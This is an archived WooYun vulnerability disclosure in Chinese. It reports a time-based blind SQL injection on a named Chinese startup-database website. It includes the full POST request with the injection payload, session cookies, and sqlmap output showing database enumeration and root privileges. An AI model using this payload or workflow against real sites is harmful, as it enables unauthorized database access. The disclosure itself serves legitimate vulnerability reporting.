乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-30: 细节已通知厂商并且等待厂商处理中 2015-07-05: 厂商已经确认,细节仅向厂商公开 2015-07-15: 细节向核心白帽子及相关领域专家公开 2015-07-25: 细节向普通白帽子公开 2015-08-04: 细节向实习白帽子公开 2015-08-19: 细节向公众公开
天地本不仁 万物为刍狗 【HD】 以团队之名 以个人之荣耀 共建网络安全
POST数据包:
POST /product/comment HTTP/1.1Content-Length: 198Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://today.itjuzi.com:80/Cookie: cisession=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b2a6a5c4d30d6748fb30154e5796cc98%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%2236.250.86.158%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A107%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F537.21+%28KHTML%2C+like+Gecko%29+Chrome%2F41.0.2228.0+Safari%2F537.21%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1435633207%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da1cceb1517366149341120e3ab543104; Hm_lvt_087dbe10f3d514bdbd5a1a73249022a4=1435633053,1435633054,1435633420; Hm_lpvt_087dbe10f3d514bdbd5a1a73249022a4=1435633420; _ga=GA1.2.778503783.1435633090; _gat=1; _ga=GA1.2.778503783.1435633090; _gat=1; HMACCOUNT=F335C26ADDC4F49A; jiathis_uniqid=143563315255920600ab2f7Host: today.itjuzi.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*comment=1&comment_id=&product_id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&product_user_id=44653&user_id=
查了下权限(root权限)
看了下 数据库 itjuzi 有 137个表(太多了 跑起来慢 就没跑了)
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nsqlmap identified the following injection points with a total of 104 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: comment=1&comment_id=&product_id=if(now()=sysdate(),sleep(0),0)/' AND (SELECT * FROM (SELECT(SLEEP(5)))hqbI) AND 'KXxc'='KXxc'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/&product_user_id=44653&user_id=---[11:17:59] [WARNING] changes made by tampering scripts are not included in shown payload content(s)[11:17:59] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2000 or 7web application technology: PHP 5.4.41back-end DBMS: MySQL 5.0.12[11:17:59] [INFO] fetching database names[11:17:59] [INFO] fetching number of databases[11:18:00] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically[11:18:00] [INFO] retrieved:[11:18:00] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errorsdo you want sqlmap to try to optimize value(s) for DBMS delay responses (option'--time-sec')? [Y/n] y[11:18:17] [INFO] adjusting time delay to 1 second due to good response times[11:18:17] [ERROR] invalid character detected. retrying..[11:18:17] [WARNING] increasing time delay to 2 seconds5[11:18:23] [INFO] retrieved: information_schema[11:21:18] [INFO] retrieved: itjuzi[11:22:21] [INFO] retrieved: mysql[11:23:12] [INFO] retrieved: performan[11:24:53] [ERROR] invalid character detected. retrying..[11:24:53] [WARNING] increasing time delay to 3 seconds[11:25:53] [ERROR] invalid character detected. retrying..[11:25:53] [WARNING] increasing time delay to 4 seconds[11:26:01] [ERROR] invalid character detected. retrying..[11:26:01] [WARNING] increasing time delay to 5 seconds[11:26:09] [ERROR] invalid character detected. retrying..[11:26:09] [WARNING] increasing time delay to 6 seconds[11:26:19] [ERROR] unable to properly validate last character value (').. e_schema[11:27:05] [INFO] retrieved: testavailable databases [5]:[*] `performan\x08\x01e_schema`[*] information_schema[*] itjuzi[*] mysql[*] test[11:27:31] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\today.itjuzi.com'
危害等级:高
漏洞Rank:15
确认时间:2015-07-05 11:22
正在处理
暂无